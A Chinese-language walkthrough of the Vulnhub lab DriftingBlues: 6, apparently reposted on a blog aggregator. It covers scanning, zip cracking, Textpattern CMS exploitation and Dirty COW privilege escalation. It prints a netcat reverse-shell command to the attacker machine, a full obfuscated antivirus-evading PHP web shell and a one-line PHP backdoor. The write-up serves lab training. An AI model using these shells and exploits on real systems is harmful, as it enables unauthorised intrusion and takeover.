[Vulnhub靶机] DriftingBlues: 6

news2024/12/22 19:22:54

[Vulnhub靶机] DriftingBlues: 6靶机渗透思路及方法(个人分享)

靶机下载地址:

https://download.vulnhub.com/driftingblues/driftingblues6_vh.ova


靶机地址:192.168.67.25

攻击机地址:192.168.67.3


一、信息收集

1.使用 arp-scan 命令扫描网段内存活的主机,以获取靶机ip地址

arp-scan -I 指定网卡 -l

2.使用 nmap 工具扫描靶机开放端口、服务版本以及系统版本,得到开放端口80及其服务http

nmap -sV -O 靶机地址

        -sV        探测主机服务版本

        -O         识别主机操作系统

3.访问web网页,在查看网页源代码时发现一串提示,但该段提示为靶场提示,没有什么实际作用

4.尝试使用 dirsearch 工具扫描靶机网站目录,得到 robots.txt 文件和 textpattern 目录

dirsearch -u 靶机URL

        -u        指定目标URL

5.通过访问robots.txt,我们获得了一个 /textpattern/textpattern,以及一段提示信息(希望我们在扫描目录的字典中加入.zip的扩展名)

6.使用 gobuster 工具重新扫描靶机网站目录,并添加.zip扩展名,发现 spammer.zip 文件,访问该文件成功下载到本地,尝试解压发现存在密码

gobuster dir --url http://192.168.67.25 --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x zip

        dir                          使用DIR枚举目录(目录爆破模式)

        -url                         目标URL(指定目标URL)

        --wordlist                字典列表的路径

        -x                           指定扩展名

二、漏洞利用

1.使用 zip2john 工具将压缩文件的密码转换为hash格式输出到 hash.txt 文件中,使用 john 工具进行密码破解,成功得到压缩包密码 myspace4(也可直接使用 fcrackzip 工具对zip文件的密码进行爆破)

zip2john Zip文件 > hash文件名

        >        将输出重定向到指定的文件中

zip2john工具,用于将Zip文件的压缩密码转换为hash格式,可以将Zip文件转换为John the Ripper密码破解工具可识别的格式。这个工具将Zip文件的密码hash提取出来,以便用于后续密码破解攻击。

john --wordlist=密码字典路径 文件名

        --wordlist        字典模式,从 文件或标准输入中读取词汇(指定字典)

John the Ripper(简称John)是一款开源的密码破解工具,它用于测试和评估密码的强度。John可以进行多种类型的密码破解,包括字典攻击、暴力破解、彩虹表攻击等。

/usr/share/wordists/rockyou.txt 是kali系统自带的密码文件,默认是个压缩包需要自行解压

fcrackzip -D -p 密码字典路径 -u Zip文件名

        -D         指定字典来暴力破解

        -p         使用字符串作为初始密码文件

        -u         指定压缩文件

2.使用压缩包密码打开 creds.txt 文件,得到账号/密码(mayer/lionheart)

3.访问之前获取到的文件 /textpattern/textpattern ,是一个登录页面,通过查看分析,发现CMS是textpattern

4.输入我们获取到的账户密码成功访问该网站后台,此时我们获得了CMS的版本信息为4.8.3

三、反弹shell

此时有两种反弹shell的方法:

        第一种:利用CMS的版本漏洞进行反弹shell

        第二种:利用CMS中文件上传模块上传木马

第一种反弹shell方法:

1.使用 searchsploit 工具搜索CMS版本漏洞信息,查找到该CMS版本漏洞利用脚本

Searchsploit是一款用于搜索和比较漏洞利用代码的命令行工具,基于Metasploit框架,并且内置了漏洞利用数据库,可以快速在本地搜索相关的漏洞利用代码,同时也支持从在线源获取最新的漏洞信息。

2.进入到漏洞利用脚本的目录下,运行该python脚本,提示脚本运行方法

python 48943.py URL地址 用户名 密码

3.执行漏洞脚本,运行时可能会显示报错,需要手动将代码修改,在第89行,script下标应当修改为3(还是建议看一下大佬写的:对DriftingBlues-6靶机进行渗透测试-CSDN博客),成功反弹shell 

scriptJS = soup.find_all("script")[3].string.replace("var textpattern = ", "")[:-2]

4.但是通过该方法反弹的shell无法跳转到其他目录,在攻击机开启 nc 监听,利用刚才反弹的shell执行 nc 命令,尝试反弹新的shell

nc -lvp 监听端口号 靶机地址

        -l             开启监听

        -v            显示详细输出

        -p            指定监听端口

nc 攻击机地址 监听端口号 -e /bin/bash

        -e        指定对应的应用程序

5.成功反弹shell,利用python中pty模块的创建交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

        -c        在命令行中调用python代码

pty.spawn() 函数是pty模块中的一个函数,用于创建一个子进程,并将其连接到一个伪终端。通过这个伪终端,我们可以与子进程进行交互,就像在控制台上一样。

第二种反弹shell方法:

1.在该CMS中存在文件上传位置,尝试上传木马

2.编写免杀木马 cmd.php 进行上传(因为靶机有防火墙所以需要免杀),上传成功后没有直接回显上传文件的路径,在查找后发现在管理界面中有上传文件的路径

<?php
class User {
    public static function getpublicMethod() {
        return 'publicMethod';
    }
    public static function publicMethod($args) {
        $key = 'args';
        $pass_decode=$$key;
        return @eval($pass_decode);
    }
}
$classloader = 'User';
$publicMethod1 = ['User',$classloader::getpublicMethod()];
$aes_decode =$publicMethod1('
$username = \'TUHUsuGa\';
$password = \'UTUHUsuGaUdTUHUsuGaWMllXd29KTUHUsuGaRjlRVDFOVVd5ZGpiV1FuWFNrNw==\';
header(\'dddddd:\'.$username);
$arr = apache_response_headers();
$template_source=\'\';
foreach ($arr as $k => $v) {
    if ($k[0] == \'d\' && $k[4] == \'d\') {
        $template_source = str_replace($v,\'\',$password);
    }
}
$template_source = base64_decode/**/($template_source);
$template_source = base64_decode/**/($template_source);
$key = \'template_source\';
$aes_decode=$$key;
return $aes_decode;
');
$publicMethod2 = ['User',$classloader::getpublicMethod()];
$publicMethod2($aes_decode);
$p7Buth = "CjwhZG9jdHlwZSBodG1sPgo8aHRtbD4KPGhlYWQ+CjxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KPHRpdGxlPjQwMyBGb3JiaWRkZW48L3RpdGxlPgo8c3R5bGU+CmJvZHl7IAogICAgcGFkZGluZzowOyAKICAgIG1hcmdpbjowOyAKICAgIGZvbnQtZmFtaWx5OiJNaWNyb3NvZnQgWWFIZWkiLCAKICAgICJNaWNyb3NvZnQgWWFIZWkgVUkgTGlnaHQiOwogICAgZm9udC1zaXplOjE0cHg7Cn0KLnBhZ2V7CiAgICBoZWlnaHQ6IDQ0NnB4OyAKICAgIG1hcmdpbjogMCBhdXRvOwogICAgcGFkZGluZy1yaWdodDoyMHB4OwogICAgbWFyZ2luLXRvcDozJTsKfQoucGFnZS10b3B7CiAgICB3aWR0aO+8mjEyMDBweDsKICAgIG1hcmdpbjogMCBhdXRvOwogICAgdGV4dC1hbGlnbjpjZW50ZXI7Cn0KLnBhZ2UtYm90dG9tewogICAgd2lkdGg6MTIwMHB4OwogICAgbWFyZ2luOiAwIGF1dG87Cn0KLnBhZ2UtYm90dG9tLXRpcHsKICAgdGV4dC1hbGlnbjpjZW50ZXI7CiAgIGNvbG9yOiAjN2Q3ZDdkOwogICBwYWRkaW5nOjE2cHggMCAxMHB4IDA7CiAgIGZvbnQtc2l6ZToxNnB4Owp9Ci5wYWdlLWJvdHRvbS13b3JkewogICBtYXJnaW4tbGVmdDozMCU7CiAgIGNvbG9yOiMzMTMxMzEKfQoucGFnZS1ib3R0b20td29yZCBwewogIGZvbnQtd2VpZ2h0OnVuc2V0OwogIGxpbmUtaGVpZ2h0OiAyMnB4OwogIG1hcmdpbjogMDsKfQoKPC9zdHlsZT4KPC9oZWFkPgo8Ym9keT4KPGRpdiBjbGFzcz0icGFnZSI+ICAKICAgIDxkaXYgY2xhc3M9InBhZ2UtdG9wIj4KICAgICAgICA8aW1nIHNyYz0iaHR0cHM6Ly9ibG9ja3NyYy5oYXBsYXQubmV0L3dhZl9mb3JiaWRkZW5fZmlsZS93YWYtaW50ZXJUaXAuanBnIiAvPgogICAgPC9kaXY+CiAgICA8ZGl2IGNsYXNzPSJwYWdlLWJvdHRvbSI+CiAgICAgIDxkaXYgY2xhc3M9InBhZ2UtYm90dG9tLXRpcCIgbGFuZ0ZsYWc9J2Vycm9yVGlwJz48L2Rpdj4KICAgICAgPGRpdiBjbGFzcz0icGFnZS1ib3R0b20td29yZCI+CiAgICA8L2Rpdj4KPC9kaXY+CjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBzcmM9Imh0dHBzOi8vYmxvY2tzcmMuaGFwbGF0Lm5ldC93YWZfZm9yYmlkZGVuX2ZpbGUvd2FmLWpxdWVyeS1taW4uanMiPjwvc2NyaXB0Pgo8c2NyaXB0PgpqUXVlcnkoZG9jdW1lbnQpLnJlYWR5KGZ1bmN0aW9uKCQpIHsKICAgICQoIiN0aW1lX2lkIikuaHRtbCh0b0xUKDE2OTkxMDcyMDEwMDApKTsKICAgIHdpbkhlaWdodCA9ICQod2luZG93KS5oZWlnaHQoKTsKICAgICQoIi5wYWdlIikuc3RvcCh0cnVlLGZhbHNlKS5hbmltYXRlKHsibWFyZ2luLXRvcCI6d2luSGVpZ2h0LzItMzEyfSwwKTsKICAgICQod2luZG93KS5yZXNpemUoZnVuY3Rpb24oKXsgIAogICAgICAgIHdpbkhlaWdodCA9ICQod2luZG93KS5oZWlnaHQoKTsKICAgICAgICAkKCIucGFnZSIpLnN0b3AodHJ1ZSxmYWxzZSkuYW5pbWF0ZSh7Im1hcmdpbi10b3AiOndpbkhlaWdodC8yLTMxMn0sMCk7CiAgICB9KTsKICAgIGNoYW5nZVBhZ2VFbGVtKCk7CiAgICBpZigkKCcjaW5uZXJCb3QnKS5odG1sKCkubGVuZ3RoPD0wKXsKICAgICAgICAkKCcjYm90SWQnKS5yZW1vdmUoKTsKICAgIH0KfSk7CgpmdW5jdGlvbiB0b0xUKGRhdGUpewogICAgZGF0ZSA9IG5ldyBEYXRlKHBhcnNlSW50KGRhdGUpKTsKICAgIHZhciB1dGM7CiAgICBpZiAoanVkZ2VMYW5ndWFnZSgpID09IDApCiAgICAgICAgdXRjID0gZGF0ZS50b0xvY2FsZVN0cmluZygnemgnLHt0aW1lWm9uZU5hbWU6ICdzaG9ydCcsIGhvdXIxMjogZmFsc2V9KTsKICAgIGVsc2UKICAgICAgICB1dGMgPSBkYXRlLnRvTG9jYWxlU3RyaW5nKCdlbicse3RpbWVab25lTmFtZTogJ3Nob3J0JywgaG91cjEyOiBmYWxzZX0pOwogICAgcmV0dXJuIHV0YzsKfQpmdW5jdGlvbiBqdWRnZUxhbmd1YWdlKCl7CiAgIHZhciBsYW5nID0gbmF2aWdhdG9yLmxhbmd1YWdlIHx8IG5hdmlnYXRvci51c2VyTGFuZ3VhZ2U7CiAgIHZhciBsYW5nRmxhZyA7CiAgIGlmKGxhbmc9PSJ6aC1DTiIpewogICAgICAgbGFuZ0ZsYWc9MDsKICAgfSBlbHNlewogICAgICAgbGFuZ0ZsYWc9MTsKICAgfQogICByZXR1cm4gbGFuZ0ZsYWc7Cn0KZnVuY3Rpb24gY2hhbmdlUGFnZUVsZW0oKXsKICAgIHZhciBsYW5nT2JqPXsgICAgICAgCiAgICAgICAgJ2NvbG9uJzpbJ++8micsJzonXSwKICAgICAgICAnZXZlbklEJzpbJ+S6i+S7tklEJywnRXZlbnQtSUQnXSwKICAgICAgICAnY2xpZW50SVAnOlsn5a6i5oi356uvSVAnLCdDbGllbnQtSVAnXSwKICAgICAgICAnY3V1cmVudFRpbWUnOlsn5b2T5YmN5pe26Ze0JywnQ3VycmVudCBUaW1lJ10sCiAgICAgICAgJ2Vycm9yVGlwJzpbJ+aCqOW9k+WJjeeahOiuv+mXruihjOS4uuWtmOWcqOW8guW4uO+8jOivt+eojeWQjumHjeivlS4uLicsJ1lvdXIgY3VycmVudCBiZWhhdmlvciBpcyBkZXRlY3RlZCBhcyBhYm5vcm1hbCwgUGxlYXNlIHRyeSBhZ2FpbiBsYXRlci4uLiddLAogICAgICAgICd1c2VyQWdlbnQnOlsnVXNlci1BZ2VudCcsJ1VzZXItQWdlbnQnXSwKICAgICAgICAvKidibG9ja0lkJzpbJ0JvdOaLpuaIqklEJywnQm90LUJsb2NrLUlEJ10sKi8KICAgICAgICAnUmVxdWVzdElEJzpbJ1JlcXVlc3QtSUQnLCAnUmVxdWVzdC1JRCddCiAgICB9CiAgICB2YXIgX2luZGV4PWp1ZGdlTGFuZ3VhZ2UoKTsKICAgIHZhciBwYWdlRWxlbWVudHMgPSAkKCJbbGFuZ0ZsYWddIik7CiAgICB2YXIgbGJsTGVuID0gcGFnZUVsZW1lbnRzLmxlbmd0aDsKICAgIHZhciBfZWxlbSxfZmxhZzsKICAgIGZvcihpID0gMDsgaSA8IGxibExlbjsgaSsrKSB7CiAgICAgICAgX2VsZW0gPSAkKHBhZ2VFbGVtZW50c1tpXSk7CiAgICAgICAgX2ZsYWc9X2VsZW0uYXR0cigibGFuZ0ZsYWciKTsKICAgICAgICBfZWxlbS50ZXh0KGxhbmdPYmpbX2ZsYWddW19pbmRleF0pOwogICAgfTsKfQoKPC9zY3JpcHQ+CjwvYm9keT4KPC9odG1sPg==";
if( count($_REQUEST) || file_get_contents("php://input") ){

}else{
    http_response_code(403);
    echo base64_decode/**/($p7Buth);
}

3.在攻击机开启 nc 监听,利用木马反弹的shell执行 nc 命令(POST传参cmd参数执行命令),尝试反弹shell

nc -lvp 监听端口号 靶机地址

        -l             开启监听

        -v            显示详细输出

        -p            指定监听端口

nc 攻击机地址 监听端口号 -e /bin/bash

        -e        指定对应的应用程序

 5.成功反弹shell,利用python中pty模块的创建交互式shell

其他:

在成功反弹shell后,经过对目录内文件的查看,发现目录内存在 BSQTYLTSOp.php 文件,该文件是一个一句话木马文件(代码如下),可以正常执行命令,且该文件是能正常下载查看的。那这样就可以不用上传木马文件,直接通过该文件执行 nc 命令反弹shell,其操作方法思路同第二种方法相同

<?php system($_GET["efcd"]); ?>

四、提权

1.使用find命令寻找suid程序,尝试进行提权,没有发现可利用的漏洞程序(没有可利用的脚本或程序),ssh服务也没有启动,同样没有发现其他用户

2.换个思路,使用 uname 命令查看系统版本内核,发现linux内核版本为3.2.0,搜索发现该版本存在脏牛漏洞

uname命令是一个在UNIX类操作系统中常用的命令,用于显示当前系统的相关信息

uname -a

        -a        显示全部信息

 3.使用 searchsploit 工具搜索 linux 内核版本漏洞信息(直接查找 "linux 3.2.0" ,搜索到的信息太多,直接查找 "Dirty COW" ,也就是脏牛漏洞),查找到该 linux 内核版本漏洞利用脚本

脏牛漏洞(Dirty COW)是一个影响Linux内核的本地特权提升漏洞,其漏洞编号为CVE-2016-5195,影响范围为2.6.22 <= Linux kernel  < 3.9

脏牛漏洞的原理是利用了Linux内核中的一个写时复制(Copy-on-Write)的漏洞,使得攻击者可以获取到本应该只有读权限的文件的写权限。通过在特定条件下修改映射到内存的文件,攻击者可以在没有足够权限的情况下修改目标文件的内容。

4.在攻击机使用 python 开启HTTP服务器,来共享文件,在靶机上使用wget命令将提权脚本下载下来,并赋予该脚本执行权限

python -m http.server

        -m        指定到执行的模块

http.server是Python标准库中提供的一个模块,它包含了一个简单的HTTP服务器类和相关函数,用于实现Web服务器和文件共享等功能(默认端口为8000)。

wget 指定文件URL                        //下载指定文件

需要再 /tmp 目录下下载,或者其他有权限创建文件权限的目录

5.使用gcc编译器来编译脚本,并生成可执行文件,运行可执行文件后,就可以能够登录新创建的用户,使用此漏洞可以根据需要修改用户值, 默认为 "firefart" 用户。

gcc -pthread 40839.c -o 指定文件名 -lcrypt

        -pthread              用于指示编译器链接POSIX线程库

        -o                        指定输出文件

        -lcrypt                  用于链接密码库

6.成功执行脚本后,使用默认用户 "firefart" 以及自定义的密码 "123456" 进行登录,成功登录后查看权限,发现成功提权至root权限

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1374442.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

使用脚本把springboot程序部署到k8s上

一般我们部署写4个文件就行了 首先分别写 Dockerfile1package.sh2build.shdocker_push.sh Dockerfile # 基于jdk1.8 FROM openjdk:8-jdk-alpine RUN echo "Asia/Shanghai" > /etc/timezone RUN mkdir /app WORKDIR /appCOPY ./monitor-flink-1.0.jar /appEXPO…

Java 数据结构篇-实现 AVL 树的核心方法

&#x1f525;博客主页&#xff1a; 【小扳_-CSDN博客】 ❤感谢大家点赞&#x1f44d;收藏⭐评论✍ 文章目录 1.0 AVL 树的说明 2.0 AVL 树的成员变量及其构造方法 3.0 实现 AVL 树的核心方法 3.1 获取当前节点的高度 height(AVLNode node) 3.2 更新当前节点的高度 updateHeig…

[力扣 Hot100]Day2 字母异位词分组

题目描述 给你一个字符串数组&#xff0c;请你将 字母异位词 组合在一起。可以按任意顺序返回结果列表。 字母异位词 是由重新排列源单词的所有字母得到的一个新单词。 出处 思路 这题有点考阅读理解&#xff0c;意思就是把输入数组中的所含字母相同但顺序不同的单词放到同…

YOLOv8-Seg改进:轻量化改进 | 超越RepVGG!浙大阿里提出OREPA:在线卷积重参数化

🚀🚀🚀本文改进:OREPA在线卷积重参数化巧妙的和YOLOV8结合,并实现轻量化 🚀🚀🚀YOLOv8-seg创新专栏:http://t.csdnimg.cn/KLSdv 学姐带你学习YOLOv8,从入门到创新,轻轻松松搞定科研; 1)手把手教你如何训练YOLOv8-seg; 2)模型创新,提升分割性能; 3)独家…

创建型模式 | 建造者模式

一、建造者模式 1、原理 建造者模式又叫生成器模式&#xff0c;是一种对象的构建模式。它可以将复杂对象的建造过程抽象出来&#xff0c;使这个抽象过程的不同实现方法可以构造出不同表现&#xff08;属性&#xff09;的对象。创建者模式是一步一步创建一个复杂的对象&#xf…

使用SpringCache操作Redis缓存数据

SpringCache概念 SpringCache是一个框架&#xff0c;实现了基于注解的缓存功能&#xff0c;只需要简单的加一个注解&#xff0c;就能实现缓存功能。 SpringCache提供了一层抽象&#xff0c;底层可以切换不同的缓存实现&#xff0c;例如&#xff1a; EHCacheCaffeineRedis 使…

vue倒计时60秒改变按钮状态效果demo(整理)

你可以使用Vue的计时器和绑定状态的方法来实现这个功能。 首先&#xff0c;在data中添加一个计时器countdown&#xff0c;初始值为0。 data() {return {countdown: 0} }<template><div><button click"startCountdown" :disabled"countdown > …

Android14之解决Pixel手机联网出现感叹号(一百八十)

简介&#xff1a; CSDN博客专家&#xff0c;专注Android/Linux系统&#xff0c;分享多mic语音方案、音视频、编解码等技术&#xff0c;与大家一起成长&#xff01; 优质专栏&#xff1a;Audio工程师进阶系列【原创干货持续更新中……】&#x1f680; 优质专栏&#xff1a;多媒…

【数据结构】7大排序最详细

0.前言 接下来进入排序&#xff0c;我们知道在c语言阶段可能就学习过了像冒泡排序&#xff0c;选择排序这种比较简单的排序&#xff0c;那么接下来我们就会学习到更加高级的排序算法。但高级代表着难度的提升&#xff0c;但不用担心&#xff0c;博主会细细来谈&#xff0c;慢慢…

九州金榜如何高质量培养孩子成长

在这个时代&#xff0c;孩子们就像温室里的花朵&#xff0c;被父母和家人宠爱着&#xff0c;享受着最优越的物质条件。 然而&#xff0c;在这样的环境中成长起来的孩子&#xff0c;却往往被很多父母称为"白眼狼"&#xff0c;对孩子的自私行为感到痛苦和失落。 1 随…

zookerper入门

zookerper介绍 ZooKeeper 是一个开源的分布式协调框架,主要用来解决分布式集群中应用系统的一致性问题. ZooKeeper本质上是一个分布式的小文件存储系统&#xff08;Zookeeper文件系统监听机制&#xff09;.提供基于类似于文件系统的目录树方式的数据存储&#xff0c;并且可以…

离线安装telnet-server

telnet下载地址&#xff1a; https://vault.centos.org/ 需要下载telnet 和 telnet-server 确认自己的服务器版本&#xff0c;我这里使用的是&#xff08;Red Hat Enterprise Linux Server release 7.0 (Maipo)&#xff09;对应的是Centos 7.0,所有到 https://vault.centos.or…

HarmonyOS应用开发学习笔记 UI布局学习 创建轮播(Swiper) artTS 轮播组件 简单使用

官方文档 Swiper组件提供滑动轮播显示的能力。Swiper本身是一个容器组件&#xff0c;当设置了多个子组件后&#xff0c;可以对这些子组件进行轮播显示。通常&#xff0c;在一些应用首页显示推荐的内容时&#xff0c;需要用到轮播显示的能力。 1、简单用法 loop 控制是否循环 …

AI交互数字人如何助力职工之家数字化建设?

近日&#xff0c;广州市海珠区产投园区工友之家揭牌&#xff0c;首批“工会数字人”正式揭幕亮相&#xff0c;开启24小时零距离全天候服务职工模式。同步进驻海珠区10个产业园区的其他工会数字人也进入全天候服务状态&#xff0c;职工群众可“一码入会”&#xff0c;工会数字人…

非常好用的个人工作学习记事本Obsidian

现在记事本有两大流派&#xff1a;Obsidian 和Notion&#xff0c;同时据说logseq也很不错 由于在FreeBSD下后两种都没有相关ports&#xff0c;所以优先尝试使用Obsidian Obsidian简介 Obsidian是基于Markdown文件的本地知识管理软件&#xff0c;并且开发者承诺Obsidian对于个…

【算法每日一练]-动态规划 (保姆级教程 篇16) #纸带 #围栏木桩 #四柱河内塔

目录 今日知识点&#xff1a; 计算最长子序列的方案个数&#xff0c;类似最短路径个数问题 四柱河内塔问题&#xff1a;dp[i]min{ (p[i-k]f[k])dp[i-k] } 纸带 围栏木桩 四柱河内塔 纸带 思路&#xff1a; 我们先设置dp[i]表示从i到n的方案数。 那么减法操作中&#xff…

Linux-shell简单学习

我是南城余&#xff01;阿里云开发者平台专家博士证书获得者&#xff01; 欢迎关注我的博客&#xff01;一同成长&#xff01; 一名从事运维开发的worker&#xff0c;记录分享学习。 专注于AI&#xff0c;运维开发&#xff0c;windows Linux 系统领域的分享&#xff01; 其他…

学习c语言,强制转换

因为sizeof是无符号数所以-1会转换成无符号数&#xff0c;所以答案是i大于sizeof的

权限维持篇

一、Windows 1、 不死马权限维持 1.1 概述 <?php ignore_user_abort(); //关掉浏览器&#xff0c;PHP脚本也可以继续执行. set_time_limit(0);//通过set_time_limit(0)可以让程序无限制的执行下去 $interval 5; // 每隔*秒运行 do { $filename test.php; if(file_exi…

Mysql——索引相关的数据结构

索引 引入 我们知道&#xff0c;数据库查询是数据库的最主要功能之一。我们都希望查询数据的速度能尽可能的快&#xff0c;因此数据库系统的设计者会从查询算法的角度进行优化。最基本的查询算法当然是顺序查找&#xff08;linear search&#xff09;&#xff0c;这种复杂度为…